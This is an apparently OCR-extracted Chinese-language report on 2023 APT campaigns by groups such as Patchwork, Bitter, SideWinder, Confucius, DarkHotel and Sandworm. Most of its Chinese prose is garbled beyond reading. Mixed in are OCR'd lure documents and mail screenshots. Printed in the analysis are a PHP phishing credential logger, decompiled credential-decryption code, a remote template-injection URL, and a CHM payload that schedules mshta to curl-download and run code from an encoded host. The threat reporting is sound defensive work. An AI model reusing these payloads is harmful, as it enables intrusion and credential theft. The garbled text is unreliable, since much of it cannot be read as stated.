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ENEMBEMBIKEME PR “EXWF" , WHKREH., KPARFEUNERMEEDHII N A REMEZLR .
SELFK, BUREBBREFBMNKEEEWIndows. Linux. Android 2T A EHERE, FTEXAEEWord
XM BERN. Ink XHEEMHS X TEWord XHEHPHRARNBHOLE W RHUITZITHA, ME.Ink XERNEER
mshta RITRB, EFEFEEERNEESN S RIETR “Kavach” , R&&ECrimsonRAT. MythicAgents.
CapraRAT EZfEAT,

' MeetUp

Reminder: Enable Macros to view
Premium Recommendations.

LR
Advisory No. 1978200384
Governmest oflndia-
Misiary of Communications.
Deparrment f Triscommumiaions.
Sabject: Aadroid Threats and Preveation
A cyber smack s if 3 threat secesly breaches secuy comnes. Evadence shons tar
*

!
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Kavach EZ /@

F—HE, ROCRENENKEE, EHWHNEARTD, BEEARMAETIRERE, —XNHEEFEHES
RN GEERAEIKE;, Z—RKANEITEEWord XHEERBERIEAS: EHEBREENT, REEHEEHEIFERN
TR, SIERFAWABBEKRSHER, FRGHNNESLZEC i, FERKRBZEAINKEHR, HEER
Word X ERAREEFLELRR. ERABEFERTERAR, REMCL RSV THTERD,

@5 Outlook

@ sianir

¥ United States of America.
Amendment 1 to Letter of Offer and Acceptance.
EUIDE[INES FOR BEACON JOURNA| 023 PAKISTAN NAVY WAR
PK-P-GAA-
COLLEGE (PNWC}-

Pakistan Nawy War College (PNWC) invites manuscripts for its journal (Beacon-23). The journal is
accradited with HEC In ' category. Research articles shall be accepted In areas related to international
Relations, Strategic Studies, International and Regional Security, South Asian Studies, Maritime Security,»
indian and Pacific Ocaan studses and Hybrid Warfars -

Based on Embassy of Pakistan, Letter of Request (LOR), Ref. {continued cn page 2)-

Mail To Government of Pakistan, Embassy of Pakistan, Anache Defense Procusement 3517
International Coust, N.W. Washington, DC 20008

Submission Deadlines: Research scholars who wish to contribute original, unpublished articles 1o the
jourmal may submit these by fist week of January, 2023. The articles may be weitten individuslly of £6.
authared.s

Articke word lmit: The manuscripts Should normally b 5000 [+_ 10%) words exciuding abstract, author's
Introduction, footnates and bibkography.-

Format: all article submissions must include an abstract of about 200250 wards with 57 keywords and
footrotes. The first page of the manuscript should contain the title of the paper, the nameis) of suthors),
abstract and footnote gwing introduction and curent affiiatian of the author(s). A 'Disclaimer’ must be
made at (footnote 2) and when applicable.«

Plagiarism: Similaity index (Turntin Report) must not exceed 15%.

Editorial and Peer Review Process: Al submissions are screened wsing “Similarity Index” detection
software. Articles shortlisted by the Editorial Board will undergo double-blind peer review. During this
stage, articies may not be approved for publication by the referees. However, they are found suitable for
the Journal, reviewers may recommend either major or minor changes in the manuscript. The revision
process may take matiple rounds. Peer Review timesines vary depending on Reviewer avaikabilty, area of
expertise and responiveness..

Citation Farmat: Faatnotes and Bibliography must camply with Chicago Manual of Style

17th Edition. Some examples for Footnotes are cited belaw for guidance:-

Pursuant to the Arms Export Control Act, the Government of the United States (USG) offers to
amend the Letter of Offer and Acceptance (LOA) identified above for the purchase of defense articles.
defense services, or both. Other provisions, terms, and conditions of the ongimal LOA remain

unchanged -

This Amendment provides aidditional support by increasing the (continued on page 2)

Basic LOA accepted: 03 Jul 2019 -
Estimated Cost. §5,000,000
Terms of Sale +

Cash Prior to Delrverys
Dependable Undertaking-

This offer expires on 17 February 2023, Unless a request for extension is made by the Purchaser
and gramted by the USG, the offer will terminate on the expiration date -

Thus Amendment consists of page | through page 7.

The are duly £ and hereby 1
offer and accept this Amendment

:
GAISER ALFRED.« T
e

|oe with Amenciment Acceptance: 31, /4. 15%

US. Signarure.- Purchaser Signarore: © Dares

Typed Name and Titles

BE



EREZAPT E{AIEIRIA

2023 F, APT AREEARNKRE AR, SEREMARK, LEUBANALUESR. EIMREFTIANE,
REAA ELFEBILPIBEHFHEITRE,

Patchwork 3} EIRNSKRMBFNANERINE

ESFNHREESP, RURERIEETRMOAPT AKBRKRAR/ENRESR. BANA. sgEREWHITERKE,
BRA[HNRENREALOARE:: —XAGNMBREKESESENNERE, —XHBTHNENHFRENRIH S,

EHNHESRSERNVEREP, BRAK[FEETFASER “netlify.app” WE=AFRFEENVETHE, ME
SENWED, RHEEZERECHNAETHTHERNENEER, @5EA " NEAINESIESRRELHE
HEPEERIIE, ERAREH, REEBTEEXRIR, HETHENEN.php XHRMAE.

{?php
if (isset (§_POST[ Loginl’]))

ST[  password’ ] ;
ame . "|” . $p:
TA@( (DuNt. txt”,

findex1.php”) :
die() :

i

if (isset (§_POST[’ Submit’]))

close | JE
header (“Location: https://www. google.com”) :
die() .

1
i

Wi &M E RS
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ARREARENATIHRGH, BRER[EFZUNSHFFANGHA TR, S8MFEPRTENENERHET, 7
EWMHEXHENBIRAAEE.

&

DET | e - (TR — ') RAFRGAENETRSEOAROFT T— BRSH. REERGFNLSREAMEE NSNS *

BREEE, ARIBLIFTIR. .  am AFEREEAFIHOME =807 ‘045197 BATR COERRR HE, BARREFESAT e BBRGESH

FEHETEE, USIFRHEE. AnEFEmR. REEEERE" AFE. B ST, Bfft. FRE” . BEFL. BRe, BT RIEERANEAEE, HENH
— EAFEEHCEIF R R

hINEEFREAES, RS iR, BATHRAENEN, HARMREREDERISHANE (B1R) . i F F P E RIS .

AAER. FREFUERE. ROUR SR, FTENETREAME. FREGERDEH.
P80, 1TP23

R

. L =

BRPEHEHF

REe e N2 SA%ER)

=

HERA - A BRR T,
HEEFABUTTONE, FORREE TRHTFE— FORRSE, AHIREITFRAPEGEOEAOES. o, RERVOR—IFARIRE, LERTEELFENSE,

HETRE— M HAGLTHANTRL. 2R SRAOMAREIENRE, TUNRLRBESFAMRT RESREUHMD . BEROTE, ST czarizg
IR AESBRE .

HALRAX TR EEZANES . o —MEENTRRE, BT RFAFTRAE. TR AERFIRR R R AT SNBSS WA e . 2T
EAREOER AR, B

HIUNFEHOE, FHGT W ARRTERENOMA.
P52, 8934871
ol 271

[
aif .

BHRYEH 4
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WEENINEERSNERESTEHNE. pdf XEH.Ink XE, E.Ink XHEDZFERpowershell RITERERNRE, 9
FIMC2 it FEIFEXGESREARS, EHFEXHITANERIETIREAS. REEERATANTIEARASF B
Github FFRIE “rust-shellcode” fERMNE R, FAFEMEsshellcode /583, #iTHMshellcode AEHEFA
Donut £, ATFHENETWEBERFENERMHERT, ZARSHHSBENRIBSBADNEWS RSEFRESE, K5
FR{EHbase64 HFIBLIRBRHFHITINARE, HFESMHERTHEE — TS Nsampleid, SRBHNNESLZEC2 i
ik, BMARGE NS EDIRIR,

BRTHREEBMOTEADH, EASRINERTEENNRE, REEESFHTRAZ—TEARS, REXNBIRNE
HIEHI, A TFTENADRBERREENBERAD, MEZAFHBRADQuasarRAT,

FIE—FHRGEDT, SREFAKRARFTESARNREGEY, XEHBEREPERESREEMITIL, EREF
AL, HEHBRAANUE-—HFUNTEEMGHSEREENNEMENE, KEMBRNFEL “Bx” . B .
‘BT F5ENBUREMAXMNEAANE, EREHAPEAshellcode AREMSBSMESE, BEREARSINHE
REFHRIT

BRAANELUZRENBITRAZLSENMERSE, RERENNKENR WM TRAER, X REBIRLEZ i
Wt BUWNBEANTARLMBAET FER. ENXFHED, RMNENSEER, FRIARERANR. HI1K
ENEMERE2FIRNER, REESNMEENT. BRNEVNEZHRMENERERIR, RABRSHIFATHE
REFARMEMBEERNEE, UBMIKMERELAEFETRHM.

DarkHotel # ¥ ERER. BETULNBRENERRE

2023 ERF BRBHRE ZAERHWEB SN —RINBXANBRE, WRKEEEFDarkhotel HRARABTH
BHEANEREPXY, BAPREERMEIs MABRRAMEATHENEERET, SIRITNES.

THEFFDECLC THRAHT, AERAINENNARRIENEHFREER, NHERAHETRBEERAAR
KRR, DU “—H—5" . e RiREMERERAHAY A meterpreter.

B,
DOC
S m .
RAR[E#EE
B ? 5 —=1
—R— tiz—— [ —s—
CHM JS -
RS L JSEIAR THHES
T EmETHE
R EE ‘= — T
cac WP
(EFRFEFEUENE, TFiETERI
m B »01100
< B . 10110«
w <« (ERAFPEIEEE— 1110
C&C meterpreter MBS THER
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Hob, EXEBEHFRERADHHSI, Darkhotel BREMIM T 1 FRENE K.

B meiisaEsr, EiFss

TAARHENR, BXIRREERE, AHEM .

-

MC&C FHNHE, FRAMBER M CryptProtectData B RFIEA M, CryptProtectData FEHA A ZIEMHEx%
BIBHITINE,

vl2 = (unsigned int)cudaHostAlloc CryptProtectData(file, v35, v42) != @;
if ( vil <= 8xFF92C303 )
break;
LABEL_140:
cudaHostAlloc_CryptProtectData(file, v35, v42);

v2e = @x13i64;
do

*((_BYTE *)lpProcName + v19 + 4) = v27[v19 + 4] # v18;// CryptUnprotectData
+4v19;

vi8 = @xBCBF * v18 X Ox7FFFFFFF;

--v20;

}
while ( v2e );
*(_OWORD *)v27 = *(_OWORD *)lpProcName;
*(_QWwORD *)&v27[@x18] = v26;
*(_OWORD *)lpProcName = 8i64;
v26 = 0ib4;
do
vl
while ( v27[v2 + 4] );
sub_18000268C((unsigned __int64 *)lpProcName, (const _ m1281i *)8&v27[4], v2);
v2l = (const CHAR *)lpProcName;
if ( *((_QWORD *)8v26 + 1) >= Bx18uib4 )
v21 = lpProcName[@];
ProcAddress = GetProcAddress(ModuleHandleA, v21);
if ( *((_QWORD *)&v26 + 1) >= Ox10uibd )

v23 = lpProchame[8];
if ( (unsigned _ int64)(*((_QWORD *)&v26 + 1) + 1i64) >= @8x1000 )
{

v23 = (LPCSTR)*((_QWORD *)lpProcName[@] + OXFFFFFFFF);
if ( (unsigned _ int6a)(lpProcName[@] - v23 - 8) > @x1F )
invalid_parameter_noinfo_noreturn();
}
HeapFree_18000E700(v23);
}
return ProcAddress
88 ((unsigned int (__ fastcall *)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _ int64))ProcAddress)(
al,
eiss,
@i64,
@8i64,
@is4,
e,
az) I= @;

BEEHWERNAET. EL. B, SRFTUINERNRE

2023 F, MEPBRBENEZR, SERARNRETFHESTEL. BF. Bk R, EF. sRAIBAFFTL
. L35, FHEEERERPTL,; THF, NEEZFESKRANETE. LI, RERHEFRQEHEAR
BEXNR, XFF—ENHEERTTEN. MREFENS, TESVEBGFNFREMNE. ERRAFAAE, X
FERTEEMBIPANE. VPN RSB BHOA RSB FHTHE,
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1. $H3 R R MR B 7 wh

BERELFFNEEREBFABMENR, BRESEL/L+RBMEREMR, XEAXETENVNEEF. B8, @Iy
BAWEATH TN, BMNRUTAERENRENER, AFEARMKRR. KZURERER{INE,

2. WA EERD

BEATHFEFENIERHEFAEANSK, TELU “XTHR. RUFE. 2NEHFESOFEN D@ |
BIEXMH . "RTABBFEFHEERGEFRENEL FEERTAE, BEHIHAZHACobaltStrike
Beacon, EMINABAMNREHTHEEEHNRMNESZSNENRR.

2023/11/17 (FEH) 14:58

OIESVEE N s.gov.cn>
*FitR, RlkEe AR ERASENNASE]
B
BB @xFiR. Puse (ReSFESBETINIGETP (445 KE)
MF AT

f:;giﬁ%ﬁi RibF&. 2ReNBHCNERTTEERAR. RARATFEESRBEA RS0 A
| H‘ : e

Bl § el
B ZOV. cn

AR

3. BERHNET LUNBREHEDD

S5, WEBHREANT BEEHDHNELRUNRIRT. FIUNISFECERE, REEFMA “FRAEIN
mHEMT X—FETERFAEE, ABEFBRRENGMT, F&IFEENT:

= BETEEESHTHER LS

FERE A TAEMSRE
1. SREFEERF, BRMREWLMT

REALEFBREREHARARSE, TRALRBHPRPEE
SEAR, BRI NEEREEREI ANEERE L HER. RIEN
EHRERTRREAEMBENB G, ELREHTHEERT,
SHAL G 3] 22%, RBAHE-FEHR, RAHLREHGRRE
XEHREF, FEEREINTHES, TUARLHRERE
fEeBROTMLE, AHTREHNLETHNE, UhHdS
NEBHREAT, R&EKEH. RERHTHER.

2012-2021 #j8), 23R RAKFN2952 R, L+ EHK
LA 1185 R £REINLM BARFEE 300 £, THAWNE
2020 FLAREAAMAAL TR, EAEBWNITERZEFR =4
BEEWAE, THOBTRUSHEMEERLA, FitE 2023 #
G, @REANTHEARLBBEWAT. HHEZEHE, EFX
ff SHBAFAE, A 2011-2013 F£# 27%% 4 2019-2021 F&9 52%.
EBREFHNE AT ERKFHRZ I RF MY 0iTE L
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EFERRANEBREEGHRESR

FaIE

1L.BRE

B8R (T-APT-17. BITTER) APT ARZ— MKW HE. BEHIBFEFHITRIEENAPT AR, ZAPT A
N[ANEERNHNMERETATRENRINAPTAHAZ — ZEARTEFHWHA. FIW. B, HERMHT
W&, FNEERER, RERINBEER. A0FHNEENKRES, EXREARURBASERGNNE.

ESFNREEDT, SEREARTANZE, ERTARBEEHNEL. %K. BAFEXEUMRIONERRER
f. EREARBEUNESHAFANBRE, HESERBRMEXKMHEEENE ST 163 #i3E (7 58 77 BRFEsT
ShERE G, ZARSRSEARATENE, BREAMAENNENTBEESERTENERIFHGENESEE, ME
REAAMFERBHEME. MENBHFNEIEE L, EREA[DEMELE, BEHRNBAHERSFEIFTE S
FAF—ELURIFEEASEXITIREXEE R

mm.gov.pk>
CPEC -( JWG-IT Working Groups Tasks & Representatives)
WA £n

n

it

& B CPEC-)WG-IT Initial draft of the proposal.rar (6 KB)

Dear Li,

Find attached herewith the initial draft of the proposal to be shared with the working group. You are requested to review
and shares comments (that shall be incorporated based on mutual understanding), subsequent to which it shall be
shared with the relevant stakeholders from both sides i.e. the Joint Working Group.

Waiting in anticipation.

Best Regards,

@ =EE> Waleed knan IEE(EE. A

A

|

)=l s

o
S
s

1

hy
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i NN IR R i 120235
FATIRN YDA SN TR R L ST L EMOREE W
. KR RTEE . T T R eEAl e -

T e TR L R T . ol

Il il | rudes § 0 el [ W eslCyall | il
"EHigEd=imd" T s el onifon 8 e - o
i | =

REREPERBERABEREE, BHFRNCENRETERERRLR
. EEEiEPEREEHERERR, HSRERtEES ST
., EHESRISIERTM, 1B RERSARERNTAEE DK T
. BAphERRTIRE AR EES H MR,

PAEGSImE R, RSty (CnRETIERRENKE, 55
IS PERPSEAERNX —TFEE, W EE2RFENVSRE
HHTBCREE, SEETREEABATAEE, REETEPERIETENE
iR, IBBPERPERRIEERT, BASHTMERISENRAL,
HAEERRTPEMNE. HIRGE. $EIEX.

B

EREALMENPANFNHFERTSMERP, EEEAREAWIndows REBEXMF.chm HEFERE
AR .xlsx XFRITEENE, ASFNRES, ERBAREE .chm XHFRNERABRITTES.

chm XHENMBHETNNEBEN THACIBRINESHITELRGHE, FERGTHAEANTEART. FEHR
FERTALARFATNESERARGHEMSiexec.exe MERTT, HEERERINE, REESRRETREE
B UEE N K/ AOKB BI% XX . xlsx X+ E 7 A Microsoft Office Bi% & iR AR TS, ABINEE
5.chm Xt#HE2ER, NEMNBHREHK.
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—|<OBJECT id=t classid="glsid:adb880a6-d8ff-11cf-9377-00aa003b7all" width=1 height=1>

<PARAM name="Command" value="ShortCuat">

<PARAM name="Button" value="Bitmap: :shortcut">

<PARAM name="Iteml" value=",cmd.exe, /g start /min schtasks /greate /tn GoogleUpdateTaskMachine7.8.1.2
/£ /8¢ minute /me 15 /Lr &guot:mshta vkhscript:Execute (&#39CreateObject(''WScript.Shell'').Run ''emd /¢
sux;; -9 C: \mm\m\m drg

C: \mm\m\m Jmlsmst", 0, m; s&m&ﬁmm
<PARAM name="Item3" value="273,1,1">
I-</OBJECT>

chm XHERBEERD

waLas ascayiie 4s
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Iteml" value=",cmd.exe, /c start /min schtasks /create /tn
&Hx57; &#x69 ; &Hxbe; &#x64; eHx6f; &WxTT ; &#xT3; &#xdc; &#x69; &#xT76; &¥x65; &#x53 ; &#x63; &#xT2 ; a#x65; &#x65; &¥xbe; &#x55; &
#x70; &#x64; &#x61; &#xT4; &#x65;&#x73; [/f [/sc minute /mo 15 /tr &quot;mshta
vbscript:Execute (&#39CreateObject (' 'WScript.Shell'') .Run ''cmd /e curl -o
&Hx25; &#x50 ; &#xT5; &#x62 ; &l xb6c; &W#x69 ; &H#x63 ; &#x25; &#x5c; &lxdd; &#xT5; &#xT73 ; &#x69 ; &#x63 ; &#x5c; &#x63; &¥x2e ; &H#x66; &
#x69;
&H#xb6e; &#x65;&#x5e; &#xT7 ; &#x73; a#x5e; &#x6]1 ; &#x5e; &#xT8 ; &#x66; &#x6c; &#xT75; &#x5e; &#xT4 ; &#x65; &¥#x5e ; &#x63 ; &#xb6c; &
#x5e; &#xT75; &lx62 ; &H#x2e ; &#x63 ; &#x5e; &Hx6f ; alx6d; &#xSe ; &#x2f; &#xT2 ; aHx5e ; &l#xbe ; &#x5e; &#x65; &Hx5e; &#xT2 ; a¥x2e ; &#
x70; &#x5e; &#x68 ; &#xT0 ; &#xEe ; &#x3f; &#xT70; &#x5e ; &#xT6 :-!computemm%_lusernm‘&ﬂore
&#x25 ; &#x50 ; E#xT5;&#x62 ; &#x60c; &#x69 ; &#x63 ; &#x25; &#x5c; &#xdd; &#xT5; &#x73 ; &#x69 ; &#x63 ; &#x50c; &#x63 ; &¥#x2e ; &#x66; &
#x69; |cmd' ', 0 True: closeil39) &quot;>nul &taskkill /f /IM hh.exe > nul">
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BRARNERMNE

= pReEE |

2021/1/20 19:57 0 KB
Ml wintas 2021/1/20 19:58 0KB
[7) CERT.msi.bin 2022/4/1 15:38 0KB
P CERT.msi 2022/4/1 15:47 0 KB
PECERT (1).msi 2022/4/1 15:51 0K8
P CERT (2).msi 2022/4/1 15:52 0KB
P CERT.msi 2022/4/1 16:02 0 KB
P CERT (1).msi 2022/4/1 16:03 0 KB
P CERT (2).msi 2022/4/1 16:04 0KB
P CAPT.msi 2022/4/13 15:04 0KB
(] cAPT (1).msi.bin 2022/7/1 15:22 0 KB
P CERT (3).msi 2022/8/31 16:28 0KB
P CERT (4).msi 2022/12/13 17:55 0 KB
Pl drivers.msi 2022/12/30 17:01 0 KB
Pl winsys.msi 2023/2/7 16:31 0KB
FMCERT (5).msi 2023/5/31 19:26 0 KB
P CERT (6).msi 2023/8/1 17:38 0 KB
P CERT (7).msi 2023/8/1 17:39 0 KB
P CERT (8).msi 2023/8/1 17:56 0 KB
M update.msi 2023/9/4 11:31 0 KB
P CERT1.msi 2023/10/19 19:31 0 KB
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ETHEIBERT, msi XHEFSBRRHERTALHLABHNZEARDS, NEHETHN. TEFEF.

while ( 1)
{
vl = recv(s, &buf[ve], 4 - ve, @); /] BROQBSIEEEGS
if (vl ==-1)
break;
Bo4= vl
if ((ve >=4)
1
; v2 = ntohl(*(u_long *)buf);
I *(_DWORD *)buf = v2;
' sub_408CFa();
if ( sub_4@2460(v2) ) // RIBEIE& S TR BThES
goto LABEL_1;
break;

mEARD

FEHEML, EREAANFESHALUS AL, —KNEAERERMNALIHRISEMOES, —XARZEER/N
C2 fR55 88, AWK GENF, ERHALANERLIEASHESERAERNCL RSHE, MEXHF TH. HiF
FHRENEEHIEALHRSIP @ EER L, BREAABEMEA “.com” LUKk “.net” BTREKEIR EHC2
ik,

2.88%

B RAPT 44 &8 (Patchwork), 8 %} /3 Dropping Elephant. Chinastrats. Monsoon. Sarit. Quilted Tiger.

APT-C-09 #1 ZINC EMERSON, R—XfMMEARMIXBMAERNEAZTER, RFERLEHMTEMEI2009F, EX
HEAAETENTE. BEEHE. ZNUEFRIALERNSER. EL. BFTL, HELtbB ZRZANNEE
BEREIR S,

ESFHNEENREENT, BRAANBEALUS AL, —LKUGHBEKSEBATNNERE, —KAL
BNENEENASHE. FHNEMERNKES, OREREEAFRIABH LAY EREITRSE; EHAHE
NYBaREP, RAKBERHEETHNEAWMEERIE, H3FAFPBANBHEKS BBHFHMKS BB AE
E2lpieg 3z ube
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WKEEWER
EESECIR. e
e

(] sEreams

BRARH

(e
=1
B

®

ARHEFRRAENDNEIRAT L, JUSNREEERATRURE=FRERX, AHEEENETBL “cc “F
AMEIRE, CQIRSV[|UMBAUBLTERE, FEARGERBRENPENERSERESEFNMUTER -, X
BRERR. EZFRELENE~NUE=Z/ARSHE, BEFER" netlify.app” RS ERZHEEHBEERN
H@ihm, A “000webhost.com” BIRSIENERNBEEFEERIC2 ik,

EfEHERNES

fEF000webhost fENEIfELL S
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EFFRESE, SREARCANEMEFANLHE, ERABTENEEEENTENEEMH, SIERFPETE
ZENERET, MYENFNEEBEESRATEAMREX, AHNESRNKRED, BEL “HAR" . “BE" .
‘EXRHLIRT FAEDM, MESNBEAFNRES, EF@L “N@®EE © XHTR” Ax.

20237412 (B=) 314
REETFRE 2 <
B A T AR AT S A AN IR 2023 SR SIRRe A

T - | LUl PR T 870 rar (2 KB)

LB
FRFNEN, FRARENERRFRERES, B REHNEERANEREROT,

AR EEEI T B, ﬁm&%ﬁ?ﬁ (AMBTREFL) F2 5/ 8ADENERTEEFRRTELFRAMNE PRERRIFESHEARIR, HFLRIRMEHM KA RRYF G123
%, REFAEET +A 120 (A=) BRZERR. AEFRHRERIEANE, HRREFZELETRENERRRTR NESSNERLRBRREH LGSR, #T 4/ 1282
EERRRTE Ei!ﬂuhmﬁﬁﬁﬂiﬂﬂﬂiﬁmﬁﬁﬁiﬁ LA RS IR R A RS BRI

ggﬁwmmma. FHRFESBANEN, FaXHAREER—/EH S HELQKNNAE, FRRREE—NSHESDBENRE. BN EEHGHE N0 BR TR —

BSHHELRS TSR
ETHERNER. RERSENHTBIAZE: mw
i TS A, ARENSASSEST M AT
- B

BRA
L
Nt R
s A RS 18 Lo 28 PR e

1992 F 4 H3NFE-LmeBEARRERSHERXSUUETL 1 2005 F£8 H 28 N#H+ )
AMANRREASESTRSW B GBS (b A\ BRI 6 LB 8 (B
MIPRSE) M—islE % 2018 45 10 A 26 S | =MAMARKREKRSHEBRALD
AEW GETi CPEARLMEYSEMEYE S+RMEmrdse) 8 ks
IE 2022410 A 30 HEF=ZMeBARRERSHEEEZAST = H-LRSWUETD)

H =

|
Tt

EH SO |
o BUHEH
=W NSRS RE
HWE ARG

W
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HRESENREF, BEER “b-cdn.net” MIFEBAFARIHEAURIBEXHFFRNMU, HFERITIESH
TREHE, EABIHWNPENKREF, L¥FRAFHEREAORARKKEEL “Badnews” KT, MTFHF
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loc_s08ESF
mov  edx, offset adgidfghis ; “gidfghic”
[ebptvar_c4)

= al, sl
3z short loc_sescse

L i

set a3fgithgs ; "3fgifhgs
r_€a]

Badnews A3HniTIE<S

EFRSEANEMAS L, BINEL2AZ—HAKERER/NEHAD, FNE—RENEENNEREHR, £AT
HAutolt I AREHNAS, HRBSBRE. GIFIKEHE. IP. ENESFSMHTENEE.

ENEMERNOKIEEDR, BTEHAARDI, BRELEERAFRASHINRERE, H9 “Remcos”
“QuasarRAT” . “BozokRAT” EFZHAD,

NATO PUBLIC DIPLOMACY PROGRAMMES
CO-SPONSORSHIP GRANTS FOR PUBLIC DIPLOMACY
PROJECTS
PUBLIC DIPLOMACY DIVISION, INTERNATIONAL STAFF,
NATO HEADQUARTERS
Blvd. Leopold lll, B-1110 Brussels, Belgium

NATO PUBLIC DIPLOMACY DIVISION
CO-SPONSORSHIP GRANTS 2023
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=7 glam.exe HEEE 332 KB
Eﬁ DllHosttcache.exe HEESE 664 KB
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0.7 CRNtabHS.exe 1 =2 2 671 KB
@ BAF Operations Report CamScannerDocument.exe HEEF 381 KB
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[ gmmm:m:mnmwmmm (BLA2BENES “—F—&") . BUEORHETR, BREE.

REoo EERREAR

T o WEATHF. WA FESROLT RSN il CREAERE.

ERh=-L s

B NBRTRIBHE AR M. B11R2008, 81

“Naxal

(SideWinder) B—%BMABHNERNERNERFTALALR, RFERAIEMNT2012F, HEEHE

X ERES

57



mMEREMtREERETFEEXANESER, FIEEEAXTEBRERT TEXMFN, ESBSM.TMP IGE
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ERt, C2 B=REIEX K.

I EEARRRT M. Ink XS, ANEMERNRES, bEEAOice ZEBRERINNARARATERRB,

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
- <Relationships xmins="http:/ /schemas.openxmliformats.org/package/2006/relationships">
<Relationship Id="rId1"
Type="http:/ /schemas.openxmliformats.org/officeDocument/2006 /relationships/attachedTemplate”
Target="https:/ /mailmofa.alit.info/3617/1/36884/2/0/0/0/m/files-c208dc5f/file" TargetMode="External" />
</Relationships>

IARARAREN

MEWRELSIGEZHART, ERESEMARS “Warhawk” LUEFEARDS “Netwire” . “CobaltStrike” 2,

& WarHawk | Index x +

(- C A F=%| 146.190.235.137

Warhawk @&

BTSN RENREE#DNS, MERAATHNEALNEZMIE. HE=+F. BHRFELREREL, WEHEENE
outlook MERFEE RTIE, SIEBFRAMBKSLER, ABEFENERREFERIC2. FTWERBRHAITHES,
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RCSC/HRD-A 7.2/2023/769 15-Sep-2023

SDGs Global Leadership Program under JICA Knowledge Co-creation Program Funding

The Royal Civil Service Commission is pleased to announce the availability of scholarship (1 slot)) for

eligible Bhutanese to pursue relevant masters degree in Japan under Government of Japan (SDG
scholarship) funding for 2024 intake:

Masters in the following fields: Target Group Slot
o Economics Civil Servants Based on 1
® Urban Development Superstructure and

*Please check the list of course and universities from the link | MoG

here (click here)

Therefore, interested and eligible in-service candidates are encouraged to apply for the above
scholarship.

1. Benefits of the Scholarship:
The successful candidates shall receive following benefits during training:
e Tuition Fees (official examination fees, entrance fees, course fees);
e Living Allowance;
® Roundtrip Airfare (once);
* Qutfit Allowance (once);

BEX

59



4. fths
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5. .KF

FLEXF (Confucius) ARAZR—MENELE RMIAPT AR, BH2013 FEHFKERK, TBHWNECEMBFHEZEN
. EEFERBETREG, ZARPHRGEDTATEABAEMRE LSRHNAR (Patchwork) APT 4
AFEERAES, BEEFMNERAAR, FHNAXFEARA-ESRIANAZERAPT ARBRT 2N,

SENREHETDR, ConfuciusBAFNEHIIWindows s, REIHHITBEHLRER L, EHTWindows KER,
R EKAEAOfice XHEFENMBHE, BT RNBHITERINE, FC2HTL, REEEEAF=ARSER
C2 @&, #IE “hopto.org” . “ddns.net” FhRHE.

| wER aTuEwe

g Document was created in a later version of

Microsoft Word *

TO VIEW THIS CONTENT

o view this content, please ¢

WHY | CANNOT OPEN THIS DOCUMENT?
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<meta charset="utf-8~ />
<script type="text/javascript” src="js/main.js"></script>
<link rel="stylesheet™ type="text/css” href="css/main.css">
</head>
<body>
<div id="input_f">

<div style="margin-top:15px;font-family:Verdana;color:red;font-size: 2vw;">
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</div>
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<div>

fimn crr=" [imal/id nna™ In

68



AREXNEEDT, RHEERTHFEEEFNRGER, BdEHZSH, HIRHPEMESTFRE RHkFE
a8 400 4,

12672 R TR

A BTN S

wdr<itaadrien 1 26.com

mrsseiee FHIEN SERRIR 40 18 >

HEtrAPmMEZAFRRAMLANZAERIEL. BHEAR.

BAMHE T

P B R [ B 2 TR #R LN

e kg@126.com

BHFERE2023F R it mrER  SEE rar
772.3MB
A3FANITS5S R30S RIRE

F EiETE

=i . ]
TR |/ Qleres

About NetEaselN 1 ¢ 5772  E88 (88| 2 F256 0 15618 | R IR
About NetEasel S8 B /i IERER
EOHE|EE i REEE

Copyright 7 1997-2023 RBLSRIME

69



B AP T3

PIEAER |EISARIR |B2AN

aem*ammm.pdf/
3841KB
17 R4 NI §h2F) SRR
ISR BFRERAUEZ8(SEE S
@l163.com Oigg.com
« COm
@163.com :163.com
@163.com 0163, oom
@163.com @163.com
@163.com @163.com
@l63.com gigg.com
@163.com elzs:gm
9163 . com @163.com
@163.com @163.com
@163.com @163.com
@163.com :igggx
@163.com e e
@l63.com 0163.com
€163.com @126.com
@163.com @163.com
@126.com :igggx
@163.com i
@163.com 0163. com
@163.com @126. com

ITH, HNERRHTLVENEFEF RN T HEHREN—EFEEIER, HENZARFBIREVREATILREK
FEBBEHITHR &,

("B2ABPET TR HAYAR . pdf”, "290.0K");
‘*?ﬂﬁzeninﬁiw!ﬂﬁ’!%ﬂﬁ&?ﬂﬂ docx”, "16.9K");
(" WBhE. zip”, "259.96M");
(‘mﬁ:{tﬁfmx x1s", "22K");
("2022F4 Rﬁ: doc "d-BK'),
(~Trin. M . LIRS T 2 ELEEHR .doc”, "28K")
(mﬁﬂﬁﬂ doc”, "43K'),
- ] e E . docx”, "12.9K");
('mﬂﬂ?]ﬁu‘.’.ﬁ x1sx”, "20.8K");
("R EEMTARS .doc”, "33.1K");

70



RER

HEN$E2022 F2 BEAZSERLIERERE, FHEST, RIERAPT HALA7E2023 FHERFSETERS.
%2022 FHHFE, SERERAPT AORTEDNTEEERAEMNEERE: NERTETNESEETHNEREEL
ABENEHRERIEYERERENLEKSMER; LLAPT28. APT29. Sandworm. Turla. Gamaredon H{t%

BAPT ARWHMA KK T BT S BEFERE.

SandWorm

SandWorm B— TR MABRTHE SEGCRU HFMBIE T 74455 SAE RHWAPT AR, ZARARTF F2009 FHEK
Ak, FIBREERALSOERNEMN. EL. RSN, ERBEBRAPTARH, XFTFHMEANK, SandWorm
EFEFERERATET T WIERRS T ERFBE N,

2023 &, SandWorm KB ZFT A RERE BTN MEMIRENNBEEES. BRTRERASR=E71]
MUREHREFERTHZI, SandWorm WRZERITIEIT22 RABHTEREMELREL, HFBT Zyxel K
&R (CVE-2023-33009 . CVE-2023-33010) , RBAJIZIREH AN Mirai BF WEFHC2 HF™=

<?xnl version="1.0" encoding="UTF-16"1>
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